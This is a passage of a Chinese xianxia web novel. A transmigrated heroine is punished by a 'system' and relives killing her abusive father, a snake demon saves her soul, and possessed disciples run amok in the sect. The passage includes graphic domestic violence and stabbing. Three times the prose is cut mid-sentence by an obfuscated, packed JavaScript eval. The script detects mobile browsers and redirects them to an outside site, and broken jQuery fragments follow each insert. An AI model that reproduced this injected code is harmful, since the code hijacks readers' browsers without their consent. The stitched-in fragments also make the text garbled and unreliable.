刚穿进来时她曾研究过自己的灵力,因她原身是截木头,本就日日要消耗灵力来维持人形,而供养她灵力的源头便是胸膛里的那颗心,若是这颗心的灵力耗尽,她便需要寻找新的,所以之前她基本不会浪费使用自己的灵力。
自从与风宴绑定后,她便无需再考虑这些了。
只是她方才出手时,并未想那么多,以为自己还是先前那个灵力低微,遇上鬼都要绕道走的炮灰。
现在看来,风宴这么高的修为给她实在是太浪费了,她只会这种暴力的输出,不懂一点术法。
周明远咳了几声,血丝从嘴角往外涌着,眼神也逐渐涣散,身后靠着的结界陡然间消散。四周空间扭曲,他们回到了仙孰学堂的那条长廊。
夕阳的金光倏地挤了进来,将二人影子投于长廊之上。周明远原本斜靠的身子往后倒去,阮清木一把拽住他的手腕,未及多想便抬手将素白的衣袖掩住他嘴角溢出的血线。
要是将这血迹留下又不知会惹出什么麻烦。
好在药堂离这极近,阮清木抄起周明远将他搭在自己的肩上,她侧头在他耳边低声道:“不想死就管好自己的嘴。”
周明远虽意识已经模糊,但仍可以听见阮清木的话,他几乎下意识地抽搐了一下,喉间挤出声音:“不……不敢了。”
将周明远扛到药堂门前,阮清木便直接离开了。
她手捏着墨青色的剑穗,眉间凝出愁容。剑穗没送出去,也不知道这次任务失败后系统的惩罚会是什么。
血污在她这身素白的衣裙上十分显眼,为避着人,她特意绕了路,穿过僻静的小径才回的竹胥居。
直到她回到房内,合上房门的那一刻,系统都没有出现。
窗外暮色渐浓,最后一缕日光藏于山脊之后,阮清木倚着窗边,理不出半分头绪来。
难道没有惩罚?
作为道具的剑穗也并没有消失,让她重新送一次也是可以的。
正思量着,陡然间阮清木胸口一痛。
【警告:任务失败,宿主即将接受惩罚。】
系统警告在她脑中响起,阮清木甚至没来得及做出任何反应,剧痛席卷全身,她重重栽倒在地。
-
破旧小区的楼道里又传来男人歇斯底里的叫骂声,桌椅翻倒的声音响起,叶仪熟视无睹地站在门前,她半张脸埋在阴影中,听着那些不堪入耳的脏话,眼睛一眨不眨。
嘭的一声,门被猛地踹开,惯性将门狠狠砸在墙上,从里面凑出一个叼着烟头的男人,他看见站在门口的叶仪,嘴角几下抽搐,手对着她一摆。
“拿来!”
叶仪仍是毫无表情,只将身后的背包递了过去。男人嫌她动作太慢,粗暴地一把夺过,嘴里仍骂骂咧咧个不停:“一个两个的都特么把钱看得跟命一样,真草了!”
他胡乱地翻着叶仪的背包,掏了半天,终于是从包中的一个夹层内翻出两张皱皱巴巴的纸币,他啐了一口:“就特么两百?”
叶仪像没听见一样没有任何反应。
那男人草了一声直接抬脚踹在叶仪身上,她的头撞在墙上,叶仪一声闷哼,下一秒被男人死命地攥住了衣领,“再敢让老子发现你藏钱,老子把你从楼顶上丢下去。”
窒息感让叶仪额间暴出青筋,她死盯着那男人。
“还特么敢瞪老子。”他猛地一把将她推搡在地,抬手便把背包抡在她的脸上,又踹了几脚,裤兜里的手机响起,他才转身迈着大步离开。
好吵……耳边不断传来嗡鸣声,叶仪皱起眉,她抓住自己的耳朵,企图弄清楚是什么东西在她脑中这么吵。
她感觉自己就像是一块浮木,不知道会被汹涌的海水冲到哪里,又不肯放过她让她彻底沉入海底。
倒在冰冷的水泥地上缓了好久,直到屋内又传出窸窣的声响,哭喊声撕心裂肺,她皱起眉,勉强撑起身。
拾起地上的背包,她扶着门踉跄爬起,屋内传来哭声,叶仪朝着哭声传来的方向走去。
她推开门,狭小的卫生间内,男人正死死压着个七八岁女孩的后颈,将她整个脑袋按进蓄满水的洗漱池中。
一旁的老妇人跪在湿滑的地上,枯瘦的手抓在男人身上,“求求你了,你放了她,放了孩子求你!”
男人一脚踹开老人,“滚!不给老子钱今天谁特么都别想活!”
叶仪猛地呛了一口水,肺痛得像要炸开一般,她撑着洗漱台的边缘挣扎着,可男人手中加重力道。
痛……哪里都痛死了!!!
她手边胡乱地抓着,指间忽然被尖锐的东西刺到,她慌乱摸索,是一把刀。
她没有半分犹豫,抓起手中的刀就猛地刺了下去!
男人痛呼一声,叶仪死命按住他的肩膀让他动弹不得,她将刀从男人的胸口拔出,紧接着又狠戾地刺下。
“别杀我……我,我可是你的,你的亲生父亲……”
父亲?
原来这种人叫做父亲?
他咒骂着,哪怕仅剩一丝力气仍从牙缝中挤出话来:“你……杀了我,你也……”
叶仪抬起手猛然在他脸上一划。
闭嘴!
逼仄潮湿的房间里被浓厚的血腥味填满。
十八岁的叶仪跪在地上,一只膝盖死压在男人身上,眼神狠戾如同厉鬼。
他痛苦地惨叫挣扎着,胸口的血喷溅出来,身体因痛得抽搐,叶仪的双手和脸上早就被溅得鲜血淋漓,分不清是汗水还是血水,她只是麻木地一刀再一刀地刺下。
你该死你该死你该死你该死你早就该死!
“……”
-
月至中天,静寂无声。
风宴眸色阴沉地推开了阮清木的房门。
因为双生魂契,他感知到了阮清木此时的状态。
她正处于濒死的边缘,
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16128509|180167||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
她那即将破散的神魂正牵动着他的神魂。
风宴走进她的房间,所经之处的烛火凭空燃起。他看见倒在地上痛苦蜷缩着的身影,冷白的衣裙上还染着一片血污。
他冷着脸查看了阮清木的情况,没有外伤。随即又运起灵力探向她的灵脉,也并无受损。
可是她呼吸很弱,面色惨白,身子无意识颤抖。
最重要的是她那已经开始涣散的神魂,因为双生魂契在不停地灼烧着他的神魂,再这样下去,就连他自己都会受创。
要直接杀了她吗?
房内静得只有阮清木因为痛苦而微薄的喘息声。
风宴深不见底的黑眸死盯着她,若在她神魂破碎前杀了她,便可解除契约,只是他要损耗些修为和寿元来抵抗魂契的反噬。
因他们并未行双修之术,所以神魂交融的程度并没有那么深,现在杀了她,可以全身而退。
漆黑的瞳仁幻化成幽绿色的竖瞳。
风宴牵起她的手,细长的手指缓缓将她的半攥着的掌心展开,二人指尖交叠摩挲,最后露出阮清木掌心中那道血印。
划破指尖,血珠滚落在阮清木手中那道血印之上,咒印触碰到血珠的一刹那散发出妖异的红光。
他将阮清木的掌心贴在自己的心口处,双目紧闭。
要用这颗心来牵制住她的神魂。
他周身萦绕黑气,脖颈瞬间爬满墨绿色的蛇鳞。要通过这道邪术来与她的神魂共鸣,以他寻常的封印自己灵力的状态无法做到,必须要进入魔化的状态。
他可以选择不救的。
只是通过双生魂契,他清晰地感知到阮清木的神魂在恐惧,甚至排斥着他。
是她在消散自己的神魂,恐惧和绝望让她想从这个世界彻底地逃离。
一番抉择下来,如果她死了还要耗损自己的修为来免去双生魂契的反噬,倒不如暂且救她一命。
风宴将自己的灵力外泄出来包裹住了她,他慢慢让她熟悉自己的神魂,一点一点,如同泠风一般,刚开始只是一缕,随即他释出更多的灵力,直到完全抓住了她。
他循序渐进地引导着她,一同跳动的心脏提醒阮清木,他们的神魂应是同频的,是相融的,是要死死纠缠的。
似乎是有所感应,阮清木的神魂不再抗拒他,甚至因为心跳的牵引,她溃散的神魂开始逐渐聚拢起来。随即又往他的神魂中钻去,她甚至依赖上了风宴的神魂。
风宴眉心蹙起,虽然他们之间连着魂契,可他并不想与她是神魂交融的太过亲密。
入魔百年来,他从未向人交出过自己的神魂。
只此一次,以后也绝对不会。
他再次将灵力释出,双生魂契的感应变强,阮清木的神魂随着他的控制找到自己应去的方向。
她掌间的咒印陡然间泛出点点荧光,顺着她的脉络游走在她的全身,最后钻进了她的心口。
阮清木终于自梦魇中挣脱出来,睁开了双眼,如溺水之人忽然得到了空气,她大口喘息。
良久,她涣散的瞳仁才逐渐聚焦,抚着自己的心口,气息平稳下来,她才注意到周身的环境。
很陌生。
她不被察觉地握着一直藏于袖中的匕首,指间用力到骨节都发白,眸间泛着冷光,视线缓缓移动,最终落在风宴的身上。
“你是谁?”
12. 第 12 章
夜风撩得烛火摇曳,将二人的影子胡乱地拍在墙上。
朦胧灯火下,风宴那双竖瞳以及布满颈间的墨色蛇鳞印在阮清木的眸中,泛着幽绿的光。他喉间带着鳞纹上下波动,神色似有些疲惫,那双极漂亮的眼眸噬人魂魄,近乎妖异的眉眼,多盯一秒都会沦陷其中。
怎么会有人长得这么奇怪?面相明明如此清俊,身上却带着鳞纹?
阮清木对着少年扬了扬下巴,“你凑过来些。”
风宴歪起头,上挑的眼睛半眯起来,好似没听懂她在说什么。
见他没什么反应,阮清木迎了上去,她好奇得伸出手,莹白的手指轻点在风宴的喉结上,鳞片摸起来冰凉滑滑的。
风宴蹙眉欲将她不老实的手抓住,可阮清木反应极快,灵巧地躲过他的攻势,一道利落的寒光随着她手中转动的匕首闪出。
一把短刃绕着她修长的手指转了几个回旋,最后横在了风宴的脖颈前。
她挑衅般地对上风宴的视线。
没有被灵体附身,也没有动用一点灵力。
风宴自眼底浮出一抹似笑非笑的冷意,这便是她藏在这副皮囊下的真正面目吗?
透过她的眼睛,风宴感受到她对自己并没有恶意,只是她还并没有完全清醒过来。
他开始好奇,处于这种状态下的阮清木最真实的一面到底是怎样的。
他缓缓道:“要杀我?”
阮清木将匕首贴着他脖颈自上而下的划过,顺着他脖间滑腻的蛇鳞,刀锋又刮蹭到了他颈间的凸起,擦过时,上下微动。
“你为什么都不怕的?”见他不为所动,阮清木忽然问道。
风宴轻笑一声:“怕?”
好像还是第一次有人问他怕不怕。
他探身凑近,颈间顶着刀锋猛然压了过来。阮清木眉心皱起,将匕首挪开,看见他脖子上没被划伤才将匕首放下。
这人怎么完全不怕死的?
她思索一瞬,忽然唇角噙起笑意,把玩着匕首,反手握刀,刀尖轻抵在他的腹部。
她紧握着刀柄,刀尖从他的腹部向上轻挑而去,在他玄衣上留下一道浅浅的痕迹,刀尖直到他胸口的位置才停下。
“那这里呢?”她开口问道。
“没杀过人吗?”风宴道。
“什么?”阮清木怔住。
腰间倏地有丝凉意。
她低头看去,不知何时出现的一条黑蛇正缠在她的腰间,两双竖瞳紧盯着她,口中吐着信子,缓慢地顺着她的腰身往上绕去。
阮清木浑身的血液都几乎凝固了。
黑蛇动作缓慢轻柔,没什么攻击性,但绕在她的腰身上的蛇鳞不经意间和她露出来的肌肤紧紧相贴,滑腻冰凉的触感冲击着她的神经。
蛇身很长,蛇尾甚至已经缠到她的腿边,擦着她的脚踝,将她的双足束起。
黑蛇继续在她身上爬着,绕过腰身,从她胸口处缠了一圈,又从背后绕过,最后挂在她的脖子上,露出个蛇头停在她心口处。
她像个死人一样,任这条蛇在她身上游走,几乎将她全身都覆上。
阮清木死盯着心口处的黑蛇,那竖瞳好像一把利刃,已经透过她的眼眸刺穿了她的胸膛。
风宴似乎是很满意她的反应,他笑着凑了过来,“刀尖只停在这里是杀不了人的。”
阮清木脸色泛白,她的手不受控制地开始发颤。
他好像在逼她出手。
阮清木向后躲着,她没杀过人,也不要杀人。
可是她仍旧没有移开刀尖,尽管手一直在抖,却不愿承认地强撑着。
“你不要以为这样可以吓得住我。”阮清木的语调明显比刚才弱掉不少。
风宴疑惑:“我没有在吓你。”
阮清木瞥了一眼仍缠在她胸前的黑蛇。
那这是在干什么?
“在帮你,因为你不敢出手。”风宴那双竖瞳盯着她,“你到底是害怕它,还是更害怕杀我?”
“杀了我,它就消失不见了。”
风宴盯着她惨白密着冷汗的清冷面容,忽然自心底想听她一声求饶,玩味般地往前探着身子。他往前一分,阮清木的手便向后挪一分。
绕满她全身的黑蛇也吐出信子恐吓她,露出恶相。
像初遇那一晚,求他啊。
“杀了我。”他重复道。
阮清木迟疑地看着手中顶在他心口处的匕首,指节攥得发白。
真是要疯了……
可是再怎么说,她也下不去手啊!
犹豫间,风宴陡然将身子往前探去,刀尖瞬间就没入他的心口。阮清木喉间一紧,她记忆中男人胸口血溅喷涌的场面忽然出现。
她瞳仁猛地缩紧,男人颤抖着倒在地上,他嘴中咒骂着,求饶着,那张在她噩梦中出现过无数次丑陋骇人的脸全是猩红黏稠的血。
倒在血泊之中,血流了一地。
她杀过人,她居然杀过人。
袖中一枚剑穗蓦然被抖落出来,落在地面鲜红的血迹之上。
风宴却依旧笑着将自己身体往前送去,刀尖又没入了一些,眼底是尽是张狂乖戾,“到底是阮清木害怕,还是你在怕?”
她发颤的身子陡然顿住。
阮清木是谁?她是叶仪。
可是……
“不要再靠过来了,你真的会死的!”她声音颤抖,眼见着风宴的玄衣被鲜血浸透,顺着衣襟蜿蜒滴了一地猩红。
她看见掉在血迹之上的剑穗,记忆开始交叠,系统的声音仿佛又出现在她脑海中,以及任务失败的警告。
阮清木的名字一直在她脑子重复着。
“是阮清木不想让我死,还是你不想我死?”风宴目不转睛看着她。
对上那双泛着光的诡异妖瞳,她记起来了。那个雨夜之中问她知不知道这到底是何契约的蛇妖。
她是阮清木,她不再是叶仪了。
给温疏良送剑穗的任务失败了,她受到了系统的惩罚,所以她差点被自己最恐惧的梦魇杀死。她也记起了风宴的神魂抓住她时的感觉,在她失重坠落之时,周身的泠风将她稳稳截住,神魂碰撞的瞬间,她听见了他的心跳。
“我不想你死。”
阮清木口中喃喃道:“我不想你死……”
如果此刻手中这把刀没有插在风宴的胸口,她甚至想一把抱住他。是发自心底的一种冲动,她想抱住他,像他们神魂相贴时那样紧紧相拥地抱住他。
她手捂在风宴的伤口处,那刀正扎在心口上,血止不住地流出。
风宴盯着她的眸光,确认她的意识已经恢复了正常,有些失望得移开眼,握住她的手将匕首随意地拔出。
血溅了出来,阮清木惊呼出声:“你不痛的吗?”
他冷哼了一声,居高临下地睨着她,“我才应该问,你到底干了什么搞成这样。”
阮清木知道风宴在问什么,却没办法告诉他,只心虚地低下头,“被人欺负了呗。”
风宴没顾自己的伤势,将她拎到床上,听到她说被欺负后动作一顿,他皱起眉问道:“上次那个蠢货?”
阮清木默不作声算是默认了,她刚在榻上躺下,身后的床榻突然又往下坠了一下。
风宴贴在她身旁也躺在她的榻上,他双目阖上,神色挥之不去的疲惫,失了血色的脸更加惨白。
她偷偷伸手想查看
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16128510|180167||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
他胸前的伤口,结果被一掌拦住,他眼皮都没抬,“不用管。”
少年因为倦意的声音带上一丝喑哑,“再有下次,我不会再救你。”
阮清木并没有在意他说的话,她只感觉自己想抱住风宴的那股冲动还没有消失,不知道是不是因为双生魂契的原因,她忍不住想贴近他,想再听一听他的心跳。
身体下意识地做出了反应,她倏地伸手环抱住了风宴。怀中之人的身子僵住,她却收紧自己臂弯,就这样紧紧依贴在他身旁。
心口处传来咚咚的心跳声。
她就这么抱着,就算风宴骂她,要杀她,她也不会松开手。
轻阖上眼眸,不知为何心底徒然出现一丝酸涩,她眼尾泛红,却始终没掉下一滴眼泪。就算被打得再痛,她也没有这么委屈过。
“谢谢你。”她声音小到几乎自己都听不清,“风宴。”
她第一次叫他的名字。
如果在我还是叶仪的时候能遇见你就更好了,她心中默道。虽然她清楚知道他这般帮她救她,不过是因为他们之间绑定了魂契。
好在,他没有推开她。
-
就这么搂着风宴一夜,阮清木几乎没有睡,直到清晨时她才实在太困迷迷糊糊地睡了过去。再醒来时,身旁早已不见风宴的身影。
何言照例寻她一起去上课,阮清木在房内找了一圈居然没找到昨晚掉在地上的剑穗。
所以她推测大概是任务失败被系统收回了。
在去学堂的路上时,何言迎面碰上几个修士,几人互相耳语一番便行色匆匆离开了。
“有个外门弟子昨夜惨死。”何言将事情转述给阮清木,“而且传得特别骇人,不知被何妖啃食只剩几节残肢,据说头都没有了。”
阮清木心中一沉,“知道是谁吗?”
何言摇了摇头,“外门弟子本就低人一等,但出了事情传出去仍是丢云霄宗的脸面,还是被妖族所杀,消息捂得很紧。”
“而且你最该关注的不应该是,云霄宗哎,怎么会出现残害仙门弟子的大妖啊?”
……妖,蛇妖吗。
“仙门内的几大长老最近本就因为灵脉混乱之事互相推脱,估计近几日就要有大事发生咯。”何言说完偷笑起来,“最好是闹得再大点,不用上课就好了。”
这样她便有时间日日创作。
阮清木倒是不太想事情闹大,倒不是因为别的,她刚来云霄宗,之前被周明远那个死人嘲讽一番,她觉得自己确实太需要系统地学习修真体系的知识。
比如掐诀布阵这些基础的术法,她最起码是要掌握的。
又上了一节类似于理论指导的课,阮清木跟着何言来到炼器阁。她需要铸一把暂时用来练习剑道的长剑,一开始何言听说她没有自己剑时,差点惊得口水都喷出来。
“你跟你表哥不会真是进一家门的一家人吧?除了他,你是我见过第二个,这么不把剑道当回事的剑修。”她两根手指在阮清木面前晃着,一边帮她参谋打造个什么样的剑。
阮清木点了点头:“很快你就会发现我的剑术和他是一样的烂了。”
何言差点把自己笑过去,她压低声音:“那你还送他剑穗?他平时剑都找不到,你真送他了?”
一听到提起剑穗,阮清木又想起被系统惩罚的事,她没好气地回道:“扔了,他说用不着,我就随手丢了。”
“早和你说了,就应该送给温疏良才对,送他的理由也合乎情理。”
“送我什么?”一道爽朗的声音忽然想起。
何言同阮清木一同看向身后站在炼器堂门前的温疏良。
在他的身后还有个抱臂倚门而立的风宴。
13. 第 13 章
温疏良忽然站在她们二人身后,一副玉树临风的浩然样貌,行走间自带的傲气无时无刻地提醒旁人,他是这本书的男主。
风宴抱臂立于炼器堂的门口,不同于昨夜那身玄衣,而是套湖青色的锦衣,衣领将他窄长的脖子裹得密密实实,视觉上显得他身材瘦削,孑然而立,发带挂于肩头,他似笑非笑地看着阮清木。
“表妹也在啊?”他忽地轻飘飘开口。
阮清木原本便将视线都投在风宴身上,毕竟昨晚被神识不清的自己捅了一刀,结果听见风宴开口叫“表妹”,差点惊得她把手中正挑选的长剑掉在地上。
她连忙整理好惊慌的神情,一个甜美谄媚的笑容挂在脸上,柔声回道:“表哥,还有温师兄,好巧。”
这种谄媚的演技她还是不需要用上魅术的。
只是看见她这幅模样,风宴的眸光忽地暗了暗,倚在门前沉默着,束在他发间的发带被风吹打在他侧脸。
何言却啧了一声,心道这对不会用剑的表兄妹能在炼器堂碰上也是够稀奇的。
阮清木又随手拿了一柄长剑,一提起,她着实讶异这剑的重量,差不多有七八斤重,双手提着都费力,一旁温疏良自然地从她手中接过。
“表妹是初学剑道吗?这柄对你来说确实太重了,选个趁手点的,等你挑好自己的本命剑后,自会与剑融为一体。到时提剑便不会这般费力了。”
阮清木:“……”
温疏良,居然跟着风宴一起喊她表妹?
这俩人有这么熟吗?
不过仔细想来,两次遇见温疏良,风宴都在场,二人之间彼此交谈看起来称兄道弟的,应该是关系不错的吧……
她嗯了一声,算是回应温疏良那句“表妹”。
何言忽然开口:“温师兄剑术这么厉害,旁日里来教教我们呗,能得师兄提点,定然比那些迂腐的长老教得还要好。”
阮清木微阖上眼,可千万别让她那个系统听见。
“自然是没问题,但近些时日我恐怕会少在仙门,只怕会耽误你们平日练习。”温疏良笑着回道。
好嘛,人家已经婉拒了好么。
“表妹想学什么自然有我教,师兄有他的要紧事要做。”风宴不知何时已经立身于她们身后,幽幽地开口。
他将阮清木方才刚脱手的剑拿在手中,竟也像模像样地挽了几下,随后又没意思地将剑丢回。
“对吧?”风宴对着阮清木问道。
鬼知道这二人今天是怎么了,全都一口一个表妹的叫着,阮清木不甘示弱回了句:“哥哥说的是。”
然后脑子就被系统滴了一声,在警告她不要乱叫人哥哥……
阮清木老实了,心口处的半颗心猛然激烈跳动,全然没注意到风宴僵直的身子。
温疏良和一旁的器修言语着,从储物囊中掏出一桌子的灵器灵物,又交代一番,特意说明了炼化的要求。
其实他也不过是近日才与风宴熟络起来,之前只算是泛泛之交,恰巧上次救了他这表妹,私下里又聊了几次。风宴听说他最近要炼化的灵器缺了几样灵材,便慷慨相助,他本着出山再寻灵材,眼下有了现成的,便接下了。
一来二去,二人倒成了相谈甚欢的好友。
交代完,温疏良一回头,正瞧见风宴怔神的模样,那双狭长的眼睛正直勾勾落在他这表妹身上。
他不动声色将这对表兄妹留意着。
阮清木只道低头挑着趁手的长剑,面前拢共摆了五六道漆木匣子。她上辈子哪有机会摸到这些,只会耍一些短刀,用来吓唬人,练着玩的。
到最后,挑花了眼,她便从一个匣中捡起一柄细窄长剑,“就这个吧。”
费用自然还是记在……
“表妹既然挑好,便一起算在我这吧。”温疏良忽然接过话,一时间,场上余下三人都愣在原地。
何言的双眼简直都要冒光了。
身为话本子创作者,她当即敏锐地去观察这表兄妹的反应,可还没等看清风宴神色,一声巨响,直接砸穿了炼器堂的屋顶。
那声巨响来得突兀,还以为是突然降下惊雷将这炼器堂劈开了,众人尚未做出反应,第二声巨响接踵而至,一道人影像沙包般被直直丢了进来,骤然间烟尘四起,整个炼器堂都被这两声震得颤动。
烟尘之中有人影在地上蠕动,离得近的几个修士连忙凑了过去查看。
“让开!”云渡珩厉声喝道,她忽然闪身闯进炼器堂,提剑径直朝着烟雾之中劈了下去。
烟尘中徒然涌出的黑气直接挡下她的剑气。
堂内的修士皆怔在原地,随即一哄而起。
不得了了,仙门之中出现魔物了,连云渡珩的剑都能接下!
一时间拔剑的拔剑,结阵的结阵,好不容易有魔物自己送上门来,自然是兴奋的不得了。
可那烟尘间的两道人影挡下剑后,几乎一瞬便掠出了炼器堂,速度快到惊人,只留下原地余烟。
温疏良与风宴对上视线,闪身便追了出去。
何言抬手便拉着阮青木同在场七八个修士跟着跑出了炼器堂。仙门内的炼器堂拢共有四个,按位置划分,所以此时堂内的人并不多。一时引起轰乱,但毕竟都是有一身修为的内门弟子,眼下早已镇静下来,一心放在那遁走的魔物身上。
当然,何言除外,她算是看热闹不嫌事大的。
可是出了炼器堂后,提着剑的几个修士便全停在原地,不再上前。
只因那与云渡珩交战的并未是什么魔物,而是同他们一样,竟是云霄宗的弟子。
而离云渡珩不远处一个人影正被团团围住,他提剑格挡,气力涤荡,却始终收着灵力,不想伤人。但架不住将他围住的人实在是太多,一记剑气刺入,他肩头涌出一道鲜血。
阮清木看清那人,是炎昀。
他血气一散开,周身泛着黑气的修士像是着了魔一般,手中的剑往外一甩,直接徒手扒上炎昀的身,对着他肩上流出的鲜血开始抢夺。
原本和云渡珩纠缠的二人闻到血气也掉头奔着炎昀掠去。
温疏良猛地贴近,如狂风般四散的灵压顿时携起肃杀之气,他连剑都没持,掌中随手带起的灵力便如利刃直接割在几个暴乱的弟子
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16128511|180167||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
身上。
仙门内规矩凡是云霄宗的弟子不论是何身份,都不可对同门出手。所以原本在炼器堂内摩拳擦掌的弟子一冲出来就停在原地。
仙门规矩不可违背。
但温疏良不同。
原本他自幼悟道时因灵根不显,一开始只是个太华宗的外门弟子,太华的名号在玄虞大陆上只算是个名不见经传的小宗门,而就连这小宗门,他都只能做人家的外门洒扫弟子。
但是他天命却不绝于此,十五岁出山时,在归墟海境中遇到云霄宗的祝奇徽,彼时恰逢祝奇徽破元婴的雷劫,刚好就把温疏良劈出了风灵根。他也借此机会直接当场拜祝奇徽为师,祝奇徽只试了他两招,便将他带回仙门,做了云霄宗的内门弟子。
至此温疏良便从炼气一路破境到元婴,现下已成为祝奇徽的门下第一大弟子。
旁人要守的规矩,在他和云渡珩身上不存在,这是仙门内大家都默认的事实。
转眼间就撂倒两名弟子,温疏良又转瞬闪至炎昀的身后,将他背后缠着的几个弟子拎了下来。
但这几名暴乱的弟子沾上血之后明显更加难缠,侧身避开几招攻势后,又如魔物般重新围上。
阮清木在一旁围观,她扫了一圈,没见着风宴的身影。
不知为何,她总觉得这些暴动的修士身上全都带着说不出的感觉,尤其是在那几个沾上炎昀的血后,一种能牵动她灵脉的冲动涌入她的体内,她攥紧拳头,总担心自己下一秒便会和那几个修士一样忽然发狂。
温疏良手中捏诀布阵,金光骤现,他驱动着阵法,几道金色的符咒瞬间锁在那几名修士的身上。
可是他身后却还落下一个身影,那人似箭般朝着炎昀猛扑过去,如猛兽般张开血口就咬在他的肩上。
骤然间,一抹剑气直取那修士的心口,云渡珩手中长剑直直刺穿了那弟子的胸膛。
一时间,在场所有人都陷入死寂。
就算云渡珩是云氏宗脉真传弟子,也不能杀及同门。
身旁的何言都倒吸一口冷气,她呆立在那,同场上的几名提剑的修士一样,被云渡珩这一剑彻底吓懵了。
今日谁都不知道这群修士是何原因忽然发疯,若又是因为什么灵脉混乱导致修士们忽然走火入魔,那很难保证下一个忽然发狂的不会是自己。
若下一个轮到自己,也会被当场一剑毙命吗?
阮清木一言不发地盯着温疏良,自从和风宴绑定后,她五感极其的敏锐,应是借了风宴的力。在场其他人可能没有看清,可她却看得清清楚楚。
温疏良捏诀布阵时,身体瞬移,看起来在那一瞬间,他是故意留下一人在他身后,且方向正对着炎昀。
她心中一沉,脚步不自觉地倒退半步,后背忽然抵住一人的胸膛。
她侧过头,不知何时没了身影的风宴赫然出现在她身后。
剑从肉身中拔出的闷声响起,云渡珩拔出长剑,眼前那发了狂的修士顿时倒地。
温疏良灵力汇拢,金色符咒猛然锁紧将那几名修士紧紧捆住。他转身淡然开口,语气轻松:“都散了吧。”
14. 第 14 章
温疏良虽语气淡然,但神色间不容分说地警告着余下几个弟子:今日之事都记着关好自己的嘴。
炼器堂门前持剑的几名修士纷纷将灵剑收回掌中,虽然亲眼看见同门被杀的惊惶并未平息,但温疏良的命令他们更是不敢不听,一个一个扭头走得飞快。
云渡珩拢回自己的长剑,冷漠地从脚下那具尸身踏过,径直向炎昀走去。她蹙着眉,仔细地查看炎昀肩上的伤势。
他肩头衣襟染红了一片,先是被剑气割伤,又被那发了狂的修士撕咬,肩处已然是血肉模糊。
炎昀向后退了一步,避开云渡珩的手,“师姐,无碍。”
他垂下眼眸看着倒在他面前的那具尸身,“我会去向玄影道君请罪,今日是我失手杀害了同门师弟,自愿领罚。”
云渡珩脸色一变,她的手仍悬在半空没有落下,见了炎昀肩处的伤势更是忍不住的怒意:“人是我杀的,与你有何关系?”
她执意要查看炎昀的伤处,越是躲她,她越是在意。云渡珩想释出一道定身术,炎昀突然抬手,一根手指轻搭在她手上。
冰凉的指尖触在她的手背。
“小姐。”他抬眼对上云渡珩担忧的视线,眸光清冷如白梨花,“小姐不必为我做到这种程度,这种伤我自己去药堂便可处理。”
他唤她,小姐。
云渡珩初次遇见他时,是在妖域的无瞳妖城中。那年是云渡珩第一次出山捉妖,性子鲁莽自负,本想着在那次出山时展露锋芒。却没想到,妖没抓住一只,她反倒先中了妖族的圈套,还受了伤。
碍于面子,她不肯与同门的师兄们联络,就在那妖城中徘徊躲藏。血腥气引来无瞳的妖鬼,她几日没有休息,一时面对那些突袭的妖鬼,连剑都持不起来。
可就在她陡然后悔自己没有早早联络师兄的那一瞬间,一只全身如火焰般的赤色大鸟挡在她的身前,羽翼挥舞,几缕火光打在无瞳妖的身上,吓退了那群妖鬼。
他收回羽翼,转身揽在云渡珩因恐惧而颤抖的身上。
那是云渡珩此生见过最漂亮的鸟,通体如焰火般赤红羽翼,偶有几片掺杂着黑色的羽毛,瞳仁如宝石般璀璨。
妖域中浑浊血腥的气味好像一瞬间都消失了,赤鸟身上淡淡的郁花香气将她包围。
她身子一直在颤,眼睛却死盯着他。
他以为是自己忽然出现吓坏了她,歪头思索一瞬,将自己的身形变小,展开翅膀低飞在云渡珩的身旁,绕了几圈,终于落于她的肩头。
云渡珩茫然地抬起手,也不知这鸟是不是妖族,就鬼使神差地将他从肩头捧至脸前。
她指尖沿着他的羽翼从他全身划过,赤鸟抖了几下身子,好似很不适应。
可她却笑了。
赤鸟知晓了她来妖域的目的,几日相处下来,他帮她成功捉到了几只无瞳妖鬼,云渡珩总算是找回些颜面回仙门。临走时,她问肩头的赤鸟愿不愿意和她回云霄宗。
赤鸟斜靠在她肩上,听见此话,忽然展开羽翼飞到云渡珩的面前。
云渡珩望向他挥舞着的翅膀,虽然他通体都是的血红色羽毛,翅膀间却又带着几缕黑色纹路,十分显眼。
似乎是在告诉她,他的血脉不纯,不适合跟她一起回去。
她回绝了同路一起回云霄宗的师兄弟,带着赤鸟去了一个安全的寨子暂住。在寨子中,云渡珩唤出自己的本命剑,欲将自己的心头血渡给那赤鸟。
她云渡珩想要的东西,无论什么原因都不会拦住她。
只要将这心头血注入,这鸟就算是她的灵宠。就算血脉不纯又如何,她就是想要将他带回去。
